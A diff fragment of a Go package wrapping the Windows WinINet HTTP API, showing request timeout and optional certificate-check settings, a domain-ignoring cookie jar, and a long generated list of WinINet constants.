buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(
|
||||
buf,
|
||||
uint32(c.Timeout.Milliseconds()),
|
||||
)
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionConnectTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set connect timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionReceiveTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set receive timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionSendTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set send timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if c.TLSClientConfig.InsecureSkipVerify {
|
||||
buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(
|
||||
buf,
|
||||
uint32(SecuritySetMask),
|
||||
)
|
||||
|
||||
err = InternetSetOptionW(
|
||||
reqHandle,
|
||||
InternetOptionSecurityFlags,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set security flags: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
for _, cookie := range c.CookieJar.Cookies(request.URL) {
|
||||
req.AddCookie(cookie)
|
||||
}
|
||||
|
||||
if err = sendRequest(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if resp, err = buildResponse(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
c.CookieJar.cookies = resp.Cookies()
|
||||
|
||||
return &http.Response{
|
||||
Status: resp.Status,
|
||||
StatusCode: resp.StatusCode,
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Body: resp.Body,
|
||||
ContentLength: resp.ContentLength,
|
||||
Request: request,
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package wininet
|
||||
|
||||
// Cookie represents an HTTP cookie sent in the Cookie header of an
|
||||
// HTTP Request.
|
||||
type Cookie struct {
|
||||
Name string
|
||||
Value string
|
||||
}
|
||||
@@ -0,0 +1,706 @@
|
||||
// Code generated by tools/defines.go; DO NOT EDIT.
|
||||
package wininet
|
||||
|
||||
const (
|
||||
InternetInvalidPortNumber uintptr = 0
|
||||
InternetDefaultFtpPort uintptr = 21
|
||||
InternetDefaultGopherPort uintptr = 70
|
||||
InternetDefaultHTTPPort uintptr = 80
|
||||
InternetDefaultHTTPsPort uintptr = 443
|
||||
InternetDefaultSocksPort uintptr = 1080
|
||||
InternetMaxHostNameLength uintptr = 256
|
||||
InternetMaxUserNameLength uintptr = 128
|
||||
InternetMaxPasswordLength uintptr = 128
|
||||
InternetMaxPortNumberLength uintptr = 5
|
||||
InternetMaxPortNumberValue uintptr = 65535
|
||||
InternetMaxPathLength uintptr = 2048
|
||||
InternetMaxSchemeLength uintptr = 32
|
||||
InternetMaxUrlLength uintptr = (InternetMaxSchemeLength + uintptr(len("://")) + InternetMaxPathLength)
|
||||
InternetKeepAliveEnabled uintptr = 1
|
||||
InternetKeepAliveDisabled uintptr = 0
|
||||
InternetReqflagFromCache uintptr = 0x00000001
|
||||
InternetReqflagAsync uintptr = 0x00000002
|
||||
InternetReqflagViaProxy uintptr = 0x00000004
|
||||
InternetReqflagNoHeaders uintptr = 0x00000008
|
||||
InternetReqflagPassive uintptr = 0x00000010
|
||||
InternetReqflagCacheWriteDisabled uintptr = 0x00000040
|
||||
InternetReqflagNetTimeout uintptr = 0x00000080
|
||||
InternetFlagReload uintptr = 0x80000000
|
||||
InternetFlagRawData uintptr = 0x40000000
|
||||
InternetFlagExistingConnect uintptr = 0x20000000
|
||||
InternetFlagAsync uintptr = 0x10000000
|
||||
InternetFlagPassive uintptr = 0x08000000
|
||||
InternetFlagNoCacheWrite uintptr = 0x04000000
|
||||
InternetFlagDontCache uintptr = InternetFlagNoCacheWrite
|
||||
InternetFlagMakePersistent uintptr = 0x02000000
|
||||
InternetFlagFromCache uintptr = 0x01000000
|
||||
InternetFlagOffline uintptr = InternetFlagFromCache
|
||||
InternetFlagSecure uintptr = 0x00800000
|
||||
InternetFlagKeepConnection uintptr = 0x00400000
|
||||
InternetFlagNoAutoRedirect uintptr = 0x00200000
|
||||
InternetFlagReadPrefetch uintptr = 0x00100000
|
||||
InternetFlagNoCookies uintptr = 0x00080000
|
||||
InternetFlagNoAuth uintptr = 0x00040000
|
||||
InternetFlagRestrictedZone uintptr = 0x00020000
|
||||
InternetFlagCacheIfNetFail uintptr = 0x00010000
|
||||
InternetFlagIgnoreRedirectToHTTP uintptr = 0x00008000
|
||||
InternetFlagIgnoreRedirectToHTTPs uintptr = 0x00004000
|
||||
InternetFlagIgnoreCertDateInvalid uintptr = 0x00002000
|
||||
InternetFlagIgnoreCertCnInvalid uintptr = 0x00001000
|
||||
InternetFlagResynchronize uintptr = 0x00000800
|
||||
InternetFlagHyperlink uintptr = 0x00000400
|
||||
InternetFlagNoUi uintptr = 0x00000200
|
||||
InternetFlagPragmaNocache uintptr = 0x00000100
|
||||
InternetFlagCacheAsync uintptr = 0x00000080
|
||||
InternetFlagFormsSubmit uintptr = 0x00000040
|
||||
InternetFlagFwdBack uintptr = 0x00000020
|
||||
InternetFlagNeedFile uintptr = 0x00000010
|
||||
InternetFlagMustCacheRequest uintptr = InternetFlagNeedFile
|
||||
InternetFlagTransferAscii uintptr = FtpTransferTypeAscii
|
||||
InternetFlagTransferBinary uintptr = FtpTransferTypeBinary
|
||||
SecurityInternetMask uintptr = (InternetFlagIgnoreCertCnInvalid | InternetFlagIgnoreCertDateInvalid | InternetFlagIgnoreRedirectToHTTPs | InternetFlagIgnoreRedirectToHTTP)
|
||||
InternetFlagsMask uintptr = (InternetFlagReload | InternetFlagRawData | InternetFlagExistingConnect | InternetFlagAsync | InternetFlagPassive | InternetFlagNoCacheWrite | InternetFlagMakePersistent | InternetFlagFromCache | InternetFlagSecure | InternetFlagKeepConnection | InternetFlagNoAutoRedirect | InternetFlagReadPrefetch | InternetFlagNoCookies | InternetFlagNoAuth | InternetFlagCacheIfNetFail | SecurityInternetMask | InternetFlagResynchronize | InternetFlagHyperlink | InternetFlagNoUi | InternetFlagPragmaNocache | InternetFlagCacheAsync | InternetFlagFormsSubmit | InternetFlagNeedFile | InternetFlagRestrictedZone | InternetFlagTransferBinary | InternetFlagTransferAscii | InternetFlagFwdBack)
|
||||
InternetErrorMaskInsertCdrom uintptr = 0x1
|
||||
InternetErrorMaskCombinedSecCert uintptr = 0x2
|
||||
InternetErrorMaskNeedMsnSspiPkg uintptr = 0x4
|
||||
InternetErrorMaskLoginFailureDisplayEntityBody uintptr = 0x8
|
||||
WininetApiFlagAsync uintptr = 0x00000001
|
||||
WininetApiFlagSync uintptr = 0x00000004
|
||||
WininetApiFlagUseContext uintptr = 0x00000008
|
||||
InternetNoCallback uintptr = 0
|
||||
IdsiFlagKeepAlive uintptr = 0x00000001
|
||||
IdsiFlagSecure uintptr = 0x00000002
|
||||
IdsiFlagProxy uintptr = 0x00000004
|
||||
IdsiFlagTunnel uintptr = 0x00000008
|
||||
InternetPerConnFlags uintptr = 1
|
||||
InternetPerConnProxyServer uintptr = 2
|
||||
InternetPerConnProxyBypass uintptr = 3
|
||||
InternetPerConnAutoconfigUrl uintptr = 4
|
||||
InternetPerConnAutodiscoveryFlags uintptr = 5
|
||||
InternetPerConnAutoconfigSecondaryUrl uintptr = 6
|
||||
InternetPerConnAutoconfigReloadDelayMins uintptr = 7
|
||||
InternetPerConnAutoconfigLastDetectTime uintptr = 8
|
||||
InternetPerConnAutoconfigLastDetectUrl uintptr = 9
|
||||
InternetPerConnFlagsUi uintptr = 10
|
||||
ProxyTypeDirect uintptr = 0x00000001
|
||||
ProxyTypeProxy uintptr = 0x00000002
|
||||
ProxyTypeAutoProxyUrl uintptr = 0x00000004
|
||||
ProxyTypeAutoDetect uintptr = 0x00000008
|
||||
AutoProxyFlagUserSet uintptr = 0x00000001
|
||||
AutoProxyFlagAlwaysDetect uintptr = 0x00000002
|
||||
AutoProxyFlagDetectionRun uintptr = 0x00000004
|
||||
AutoProxyFlagMigrated uintptr = 0x00000008
|
||||
AutoProxyFlagDontCacheProxyResult uintptr = 0x00000010
|
||||
AutoProxyFlagCacheInitRun uintptr = 0x00000020
|
||||
AutoProxyFlagDetectionSuspect uintptr = 0x00000040
|
||||
IsoForceDisconnected uintptr = 0x00000001
|
||||
InternetRfc1123Format uintptr = 0
|
||||
InternetRfc1123Bufsize uintptr = 30
|
||||
IcuEscape uintptr = 0x80000000
|
||||
IcuUsername uintptr = 0x40000000
|
||||
IcuNoEncode uintptr = 0x20000000
|
||||
IcuDecode uintptr = 0x10000000
|
||||
IcuNoMeta uintptr = 0x08000000
|
||||
IcuEncodeSpacesOnly uintptr = 0x04000000
|
||||
IcuBrowserMode uintptr = 0x02000000
|
||||
IcuEncodePercent uintptr = 0x00001000
|
||||
InternetOpenTypePreconfig uintptr = 0
|
||||
InternetOpenTypeDirect uintptr = 1
|
||||
InternetOpenTypeProxy uintptr = 3
|
||||
InternetOpenTypePreconfigWithNoAutoproxy uintptr = 4
|
||||
PreConfigInternetAccess uintptr = InternetOpenTypePreconfig
|
||||
LocalInternetAccess uintptr = InternetOpenTypeDirect
|
||||
CernProxyInternetAccess uintptr = InternetOpenTypeProxy
|
||||
InternetServiceFtp uintptr = 1
|
||||
InternetServiceGopher uintptr = 2
|
||||
InternetServiceHTTP uintptr = 3
|
||||
IrfAsync uintptr = WininetApiFlagAsync
|
||||
IrfSync uintptr = WininetApiFlagSync
|
||||
IrfUseContext uintptr = WininetApiFlagUseContext
|
||||
IrfNoWait uintptr = 0x00000008
|
||||
IsoGlobal uintptr = 0x00000001
|
||||
IsoRegistry uintptr = 0x00000002
|
||||
IsoValidFlags uintptr = (IsoGlobal | IsoRegistry)
|
||||
InternetOptionCallback uintptr = 1
|
||||
InternetOptionConnectTimeout uintptr = 2
|
||||
InternetOptionConnectRetries uintptr = 3
|
||||
InternetOptionConnectBackoff uintptr = 4
|
||||
InternetOptionSendTimeout uintptr = 5
|
||||
InternetOptionControlSendTimeout uintptr = InternetOptionSendTimeout
|
||||
InternetOptionReceiveTimeout uintptr = 6
|
||||
InternetOptionControlReceiveTimeout uintptr = InternetOptionReceiveTimeout
|
||||
InternetOptionDataSendTimeout uintptr = 7
|
||||
InternetOptionDataReceiveTimeout uintptr = 8
|
||||
InternetOptionHandleType uintptr = 9
|
||||
InternetOptionListenTimeout uintptr = 11
|
||||
InternetOptionReadBufferSize uintptr = 12
|
||||
InternetOptionWriteBufferSize uintptr = 13
|
||||
InternetOptionAsyncId uintptr = 15
|
||||
InternetOptionAsyncPriority uintptr = 16
|
||||
InternetOptionParentHandle uintptr = 21
|
||||
InternetOptionKeepConnection uintptr = 22
|
||||
InternetOptionRequestFlags uintptr = 23
|
||||
InternetOptionExtendedError uintptr = 24
|
||||
InternetOptionOfflineMode uintptr = 26
|
||||
InternetOptionCacheStreamHandle uintptr = 27
|
||||
InternetOptionUsername uintptr = 28
|
||||
InternetOptionPassword uintptr = 29
|
||||
InternetOptionAsync uintptr = 30
|
||||
InternetOptionSecurityFlags uintptr = 31
|
||||
InternetOptionSecurityCertificateStruct uintptr = 32
|
||||
InternetOptionDatafileName uintptr = 33
|
||||
InternetOptionUrl uintptr = 34
|
||||
InternetOptionSecurityCertificate uintptr = 35
|
||||
InternetOptionSecurityKeyBitness uintptr = 36
|
||||
InternetOptionRefresh uintptr = 37
|
||||
InternetOptionProxy uintptr = 38
|
||||
InternetOptionSettingsChanged uintptr = 39
|
||||
InternetOptionVersion uintptr = 40
|
||||
InternetOptionUserAgent uintptr = 41
|
||||
InternetOptionEndBrowserSession uintptr = 42
|
||||
InternetOptionProxyUsername uintptr = 43
|
||||
InternetOptionProxyPassword uintptr = 44
|
||||
InternetOptionContextValue uintptr = 45
|
||||
InternetOptionConnectLimit uintptr = 46
|
||||
InternetOptionSecuritySelectClientCert uintptr = 47
|
||||
InternetOptionPolicy uintptr = 48
|
||||
InternetOptionDisconnectedTimeout uintptr = 49
|
||||
InternetOptionConnectedState uintptr = 50
|
||||
InternetOptionIdleState uintptr = 51
|
||||
InternetOptionOfflineSemantics uintptr = 52
|
||||
InternetOptionSecondaryCacheKey uintptr = 53
|
||||
InternetOptionCallbackFilter uintptr = 54
|
||||
InternetOptionConnectTime uintptr = 55
|
||||
InternetOptionSendThroughput uintptr = 56
|
||||
InternetOptionReceiveThroughput uintptr = 57
|
||||
InternetOptionRequestPriority uintptr = 58
|
||||
InternetOptionHTTPVersion uintptr = 59
|
||||
InternetOptionResetUrlcacheSession uintptr = 60
|
||||
InternetOptionErrorMask uintptr = 62
|
||||
InternetOptionFromCacheTimeout uintptr = 63
|
||||
InternetOptionBypassEditedEntry uintptr = 64
|
||||
InternetOptionDiagnosticSocketInfo uintptr = 67
|
||||
InternetOptionCodepage uintptr = 68
|
||||
InternetOptionCacheTimestamps uintptr = 69
|
||||
InternetOptionDisableAutodial uintptr = 70
|
||||
InternetOptionMaxConnsPerServer uintptr = 73
|
||||
InternetOptionMaxConnsPer10Server uintptr = 74
|
||||
InternetOptionPerConnectionOption uintptr = 75
|
||||
InternetOptionDigestAuthUnload uintptr = 76
|
||||
InternetOptionIgnoreOffline uintptr = 77
|
||||
InternetOptionIdentity uintptr = 78
|
||||
InternetOptionRemoveIdentity uintptr = 79
|
||||
InternetOptionAlterIdentity uintptr = 80
|
||||
InternetOptionSuppressBehavior uintptr = 81
|
||||
InternetOptionAutodialMode uintptr = 82
|
||||
InternetOptionAutodialConnection uintptr = 83
|
||||
InternetOptionClientCertContext uintptr = 84
|
||||
InternetOptionAuthFlags uintptr = 85
|
||||
InternetOptionCookies3rdParty uintptr = 86
|
||||
InternetOptionDisablePassportAuth uintptr = 87
|
||||
InternetOptionSendUtf8ServernameToProxy uintptr = 88
|
||||
InternetOptionExemptConnectionLimit uintptr = 89
|
||||
InternetOptionEnablePassportAuth uintptr = 90
|
||||
InternetOptionHibernateInactiveWorkerThreads uintptr = 91
|
||||
InternetOptionActivateWorkerThreads uintptr = 92
|
||||
InternetOptionRestoreWorkerThreadDefaults uintptr = 93
|
||||
InternetOptionSocketSendBufferLength uintptr = 94
|
||||
InternetOptionProxySettingsChanged uintptr = 95
|
||||
InternetOptionDatafileExt uintptr = 96
|
||||
InternetFirstOption uintptr = InternetOptionCallback
|
||||
InternetLastOption uintptr = InternetOptionDatafileExt
|
||||
InternetPriorityForeground uintptr = 1000
|
||||
InternetHandleTypeInternet uintptr = 1
|
||||
InternetHandleTypeConnectFtp uintptr = 2
|
||||
InternetHandleTypeConnectGopher uintptr = 3
|
||||
InternetHandleTypeConnectHTTP uintptr = 4
|
||||
InternetHandleTypeFtpFind uintptr = 5
|
||||
InternetHandleTypeFtpFindHtml uintptr = 6
|
||||
InternetHandleTypeFtpFile uintptr = 7
|
||||
InternetHandleTypeFtpFileHtml uintptr = 8
|
||||
InternetHandleTypeGopherFind uintptr = 9
|
||||
InternetHandleTypeGopherFindHtml uintptr = 10
|
||||
InternetHandleTypeGopherFile uintptr = 11
|
||||
InternetHandleTypeGopherFileHtml uintptr = 12
|
||||
InternetHandleTypeHTTPRequest uintptr = 13
|
||||
InternetHandleTypeFileRequest uintptr = 14
|
||||
AuthFlagDisableNegotiate uintptr = 0x00000001
|
||||
AuthFlagEnableNegotiate uintptr = 0x00000002
|
||||
AuthFlagDisableBasicClearchannel uintptr = 0x00000004
|
||||
SecurityFlagSecure uintptr = 0x00000001
|
||||
SecurityFlagStrengthWeak uintptr = 0x10000000
|
||||
SecurityFlagStrengthMedium uintptr = 0x40000000
|
||||
SecurityFlagStrengthStrong uintptr = 0x20000000
|
||||
SecurityFlagUnknownbit uintptr = 0x80000000
|
||||
SecurityFlagFortezza uintptr = 0x08000000
|
||||
SecurityFlagNormalbitness uintptr = SecurityFlagStrengthWeak
|
||||
SecurityFlagSsl uintptr = 0x00000002
|
||||
SecurityFlagSsl3 uintptr = 0x00000004
|
||||
SecurityFlagPct uintptr = 0x00000008
|
||||
SecurityFlagPct4 uintptr = 0x00000010
|
||||
SecurityFlagIetfssl4 uintptr = 0x00000020
|
||||
SecurityFlag40bit uintptr = SecurityFlagStrengthWeak
|
||||
SecurityFlag128bit uintptr = SecurityFlagStrengthStrong
|
||||
SecurityFlag56bit uintptr = SecurityFlagStrengthMedium
|
||||
SecurityFlagIgnoreRevocation uintptr = 0x00000080
|
||||
SecurityFlagIgnoreUnknownCa uintptr = 0x00000100
|
||||
SecurityFlagIgnoreWrongUsage uintptr = 0x00000200
|
||||
SecurityFlagIgnoreCertCnInvalid uintptr = InternetFlagIgnoreCertCnInvalid
|
||||
SecurityFlagIgnoreCertDateInvalid uintptr = InternetFlagIgnoreCertDateInvalid
|
||||
SecurityFlagIgnoreRedirectToHTTPs uintptr = InternetFlagIgnoreRedirectToHTTPs
|
||||
SecurityFlagIgnoreRedirectToHTTP uintptr = InternetFlagIgnoreRedirectToHTTP
|
||||
SecuritySetMask uintptr = (SecurityFlagIgnoreRevocation | SecurityFlagIgnoreUnknownCa | SecurityFlagIgnoreCertCnInvalid | SecurityFlagIgnoreCertDateInvalid | SecurityFlagIgnoreWrongUsage)
|
||||
AutodialModeNever uintptr = 1
|
||||
AutodialModeAlways uintptr = 2
|
||||
AutodialModeNoNetworkPresent uintptr = 4
|
||||
InternetStatusResolvingName uintptr = 10
|
||||
InternetStatusNameResolved uintptr = 11
|
||||
InternetStatusConnectingToServer uintptr = 20
|
||||
InternetStatusConnectedToServer uintptr = 21
|
||||
InternetStatusSendingRequest uintptr = 30
|
||||
InternetStatusRequestSent uintptr = 31
|
||||
InternetStatusReceivingResponse uintptr = 40
|
||||
InternetStatusResponseReceived uintptr = 41
|
||||
InternetStatusCtlResponseReceived uintptr = 42
|
||||
InternetStatusPrefetch uintptr = 43
|
||||
InternetStatusClosingConnection uintptr = 50
|
||||
InternetStatusConnectionClosed uintptr = 51
|
||||
InternetStatusHandleCreated uintptr = 60
|
||||
InternetStatusHandleClosing uintptr = 70
|
||||
InternetStatusDetectingProxy uintptr = 80
|
||||
InternetStatusRequestComplete uintptr = 100
|
||||
InternetStatusRedirect uintptr = 110
|
||||
InternetStatusIntermediateResponse uintptr = 120
|
||||
InternetStatusUserInputRequired uintptr = 140
|
||||
InternetStatusStateChange uintptr = 200
|
||||
InternetStatusCookieSent uintptr = 320
|
||||
InternetStatusCookieReceived uintptr = 321
|
||||
InternetStatusPrivacyImpacted uintptr = 324
|
||||
InternetStatusP3pHeader uintptr = 325
|
||||
InternetStatusP3pPolicyref uintptr = 326
|
||||
InternetStatusCookieHistory uintptr = 327
|
||||
InternetStateConnected uintptr = 0x00000001
|
||||
InternetStateDisconnected uintptr = 0x00000002
|
||||
InternetStateDisconnectedByUser uintptr = 0x00000010
|
||||
InternetStateIdle uintptr = 0x00000100
|
||||
InternetStateBusy uintptr = 0x00000200
|
||||
FtpTransferTypeUnknown uintptr = 0x00000000
|
||||
FtpTransferTypeAscii uintptr = 0x00000001
|
||||
FtpTransferTypeBinary uintptr = 0x00000002
|
||||
FtpTransferTypeMask uintptr = (FtpTransferTypeAscii | FtpTransferTypeBinary)
|
||||
MaxGopherDisplayText uintptr = 128
|
||||
MaxGopherSelectorText uintptr = 256
|
||||
MaxGopherHostName uintptr = InternetMaxHostNameLength
|
||||
MaxGopherLocatorLength uintptr = (1 + MaxGopherDisplayText + 1 + MaxGopherSelectorText + 1 + MaxGopherHostName + 1 + InternetMaxPortNumberLength + 1 + 1 + 2)
|
||||
GopherTypeTextFile uintptr = 0x00000001
|
||||
GopherTypeDirectory uintptr = 0x00000002
|
||||
GopherTypeCso uintptr = 0x00000004
|
||||
GopherTypeError uintptr = 0x00000008
|
||||
GopherTypeMacBinhex uintptr = 0x00000010
|
||||
GopherTypeDosArchive uintptr = 0x00000020
|
||||
GopherTypeUnixUuencoded uintptr = 0x00000040
|
||||
GopherTypeIndexServer uintptr = 0x00000080
|
||||
GopherTypeTelnet uintptr = 0x00000100
|
||||
GopherTypeBinary uintptr = 0x00000200
|
||||
GopherTypeRedundant uintptr = 0x00000400
|
||||
GopherTypeTn3270 uintptr = 0x00000800
|
||||
GopherTypeGif uintptr = 0x00001000
|
||||
GopherTypeImage uintptr = 0x00002000
|
||||
GopherTypeBitmap uintptr = 0x00004000
|
||||
GopherTypeMovie uintptr = 0x00008000
|
||||
GopherTypeSound uintptr = 0x00010000
|
||||
GopherTypeHtml uintptr = 0x00020000
|
||||
GopherTypePdf uintptr = 0x00040000
|
||||
GopherTypeCalendar uintptr = 0x00080000
|
||||
GopherTypeInline uintptr = 0x00100000
|
||||
GopherTypeUnknown uintptr = 0x20000000
|
||||
GopherTypeAsk uintptr = 0x40000000
|
||||
GopherTypeGopherPlus uintptr = 0x80000000
|
||||
GopherTypeFileMask uintptr = (GopherTypeTextFile | GopherTypeMacBinhex | GopherTypeDosArchive | GopherTypeUnixUuencoded | GopherTypeBinary | GopherTypeGif | GopherTypeImage | GopherTypeBitmap | GopherTypeMovie | GopherTypeSound | GopherTypeHtml | GopherTypePdf | GopherTypeCalendar | GopherTypeInline)
|
||||
MaxGopherCategoryName uintptr = 128
|
||||
MaxGopherAttributeName uintptr = 128
|
||||
MinGopherAttributeLength uintptr = 256
|
||||
GopherInfoCategory string = "+INFO"
|
||||
GopherAdminCategory string = "+ADMIN"
|
||||
GopherViewsCategory string = "+VIEWS"
|
||||
GopherAbstractCategory string = "+ABSTRACT"
|
||||
GopherVeronicaCategory string = "+VERONICA"
|
||||
GopherAdminAttribute string = "Admin"
|
||||
GopherModDateAttribute string = "Mod-Date"
|
||||
GopherTtlAttribute string = "TTL"
|
||||
GopherScoreAttribute string = "Score"
|
||||
GopherRangeAttribute string = "Score-range"
|
||||
GopherSiteAttribute string = "Site"
|
||||
GopherOrgAttribute string = "Org"
|
||||
GopherLocationAttribute string = "Loc"
|
||||
GopherGeogAttribute string = "Geog"
|
||||
GopherTimezoneAttribute string = "TZ"
|
||||
GopherProviderAttribute string = "Provider"
|
||||
GopherVersionAttribute string = "Version"
|
||||
GopherAbstractAttribute string = "Abstract"
|
||||
GopherViewAttribute string = "View"
|
||||
GopherTreewalkAttribute string = "treewalk"
|
||||
GopherAttributeIdBase uintptr = 0xabcccc00
|
||||
GopherCategoryIdAll uintptr = (GopherAttributeIdBase + 1)
|
||||
GopherCategoryIdInfo uintptr = (GopherAttributeIdBase + 2)
|
||||
GopherCategoryIdAdmin uintptr = (GopherAttributeIdBase + 3)
|
||||
GopherCategoryIdViews uintptr = (GopherAttributeIdBase + 4)
|
||||
GopherCategoryIdAbstract uintptr = (GopherAttributeIdBase + 5)
|
||||
GopherCategoryIdVeronica uintptr = (GopherAttributeIdBase + 6)
|
||||
GopherCategoryIdAsk uintptr = (GopherAttributeIdBase + 7)
|
||||
GopherCategoryIdUnknown uintptr = (GopherAttributeIdBase + 8)
|
||||
GopherAttributeIdAll uintptr = (GopherAttributeIdBase + 9)
|
||||
GopherAttributeIdAdmin uintptr = (GopherAttributeIdBase + 10)
|
||||
GopherAttributeIdModDate uintptr = (GopherAttributeIdBase + 11)
|
||||
GopherAttributeIdTtl uintptr = (GopherAttributeIdBase + 12)
|
||||
GopherAttributeIdScore uintptr = (GopherAttributeIdBase + 13)
|
||||
GopherAttributeIdRange uintptr = (GopherAttributeIdBase + 14)
|
||||
GopherAttributeIdSite uintptr = (GopherAttributeIdBase + 15)
|
||||
GopherAttributeIdOrg uintptr = (GopherAttributeIdBase + 16)
|
||||
GopherAttributeIdLocation uintptr = (GopherAttributeIdBase + 17)
|
||||
GopherAttributeIdGeog uintptr = (GopherAttributeIdBase + 18)
|
||||
GopherAttributeIdTimezone uintptr = (GopherAttributeIdBase + 19)
|
||||
GopherAttributeIdProvider uintptr = (GopherAttributeIdBase + 20)
|
||||
GopherAttributeIdVersion uintptr = (GopherAttributeIdBase + 21)
|
||||
GopherAttributeIdAbstract uintptr = (GopherAttributeIdBase + 22)
|
||||
GopherAttributeIdView uintptr = (GopherAttributeIdBase + 23)
|
||||
GopherAttributeIdTreewalk uintptr = (GopherAttributeIdBase + 24)
|
||||
GopherAttributeIdUnknown uintptr = (GopherAttributeIdBase + 25)
|
||||
HTTPMajorVersion uintptr = 1
|
||||
HTTPMinorVersion uintptr = 0
|
||||
HTTPVersiona string = "HTTP/1.0"
|
||||
HTTPVersionw string = "HTTP/1.0"
|
||||
HTTPQueryMimeVersion uintptr = 0
|
||||
HTTPQueryContentType uintptr = 1
|
||||
HTTPQueryContentTransferEncoding uintptr = 2
|
||||
HTTPQueryContentId uintptr = 3
|
||||
HTTPQueryContentDescription uintptr = 4
|
||||
HTTPQueryContentLength uintptr = 5
|
||||
HTTPQueryContentLanguage uintptr = 6
|
||||
HTTPQueryAllow uintptr = 7
|
||||
HTTPQueryPublic uintptr = 8
|
||||
HTTPQueryDate uintptr = 9
|
||||
HTTPQueryExpires uintptr = 10
|
||||
HTTPQueryLastModified uintptr = 11
|
||||
HTTPQueryMessageId uintptr = 12
|
||||
HTTPQueryUri uintptr = 13
|
||||
HTTPQueryDerivedFrom uintptr = 14
|
||||
HTTPQueryCost uintptr = 15
|
||||
HTTPQueryLink uintptr = 16
|
||||
HTTPQueryPragma uintptr = 17
|
||||
HTTPQueryVersion uintptr = 18
|
||||
HTTPQueryStatusCode uintptr = 19
|
||||
HTTPQueryStatusText uintptr = 20
|
||||
HTTPQueryRawHeaders uintptr = 21
|
||||
HTTPQueryRawHeadersCRLF uintptr = 22
|
||||
HTTPQueryConnection uintptr = 23
|
||||
HTTPQueryAccept uintptr = 24
|
||||
HTTPQueryAcceptCharset uintptr = 25
|
||||
HTTPQueryAcceptEncoding uintptr = 26
|
||||
HTTPQueryAcceptLanguage uintptr = 27
|
||||
HTTPQueryAuthorization uintptr = 28
|
||||
HTTPQueryContentEncoding uintptr = 29
|
||||
HTTPQueryForwarded uintptr = 30
|
||||
HTTPQueryFrom uintptr = 31
|
||||
HTTPQueryIfModifiedSince uintptr = 32
|
||||
HTTPQueryLocation uintptr = 33
|
||||
HTTPQueryOrigUri uintptr = 34
|
||||
HTTPQueryReferer uintptr = 35
|
||||
HTTPQueryRetryAfter uintptr = 36
|
||||
HTTPQueryServer uintptr = 37
|
||||
HTTPQueryTitle uintptr = 38
|
||||
HTTPQueryUserAgent uintptr = 39
|
||||
HTTPQueryWwwAuthenticate uintptr = 40
|
||||
HTTPQueryProxyAuthenticate uintptr = 41
|
||||
HTTPQueryAcceptRanges uintptr = 42
|
||||
HTTPQuerySetCookie uintptr = 43
|
||||
HTTPQueryCookie uintptr = 44
|
||||
HTTPQueryRequestMethod uintptr = 45
|
||||
HTTPQueryRefresh uintptr = 46
|
||||
HTTPQueryContentDisposition uintptr = 47
|
||||
HTTPQueryAge uintptr = 48
|
||||
HTTPQueryCacheControl uintptr = 49
|
||||
HTTPQueryContentBase uintptr = 50
|
||||
HTTPQueryContentLocation uintptr = 51
|
||||
HTTPQueryContentMd5 uintptr = 52
|
||||
HTTPQueryContentRange uintptr = 53
|
||||
HTTPQueryEtag uintptr = 54
|
||||
HTTPQueryHost uintptr = 55
|
||||
HTTPQueryIfMatch uintptr = 56
|
||||
HTTPQueryIfNoneMatch uintptr = 57
|
||||
HTTPQueryIfRange uintptr = 58
|
||||
HTTPQueryIfUnmodifiedSince uintptr = 59
|
||||
HTTPQueryMaxForwards uintptr = 60
|
||||
HTTPQueryProxyAuthorization uintptr = 61
|
||||
HTTPQueryRange uintptr = 62
|
||||
HTTPQueryTransferEncoding uintptr = 63
|
||||
HTTPQueryUpgrade uintptr = 64
|
||||
HTTPQueryVary uintptr = 65
|
||||
HTTPQueryVia uintptr = 66
|
||||
HTTPQueryWarning uintptr = 67
|
||||
HTTPQueryExpect uintptr = 68
|
||||
HTTPQueryProxyConnection uintptr = 69
|
||||
HTTPQueryUnlessModifiedSince uintptr = 70
|
||||
HTTPQueryEchoRequest uintptr = 71
|
||||
HTTPQueryEchoReply uintptr = 72
|
||||
HTTPQueryEchoHeaders uintptr = 73
|
||||
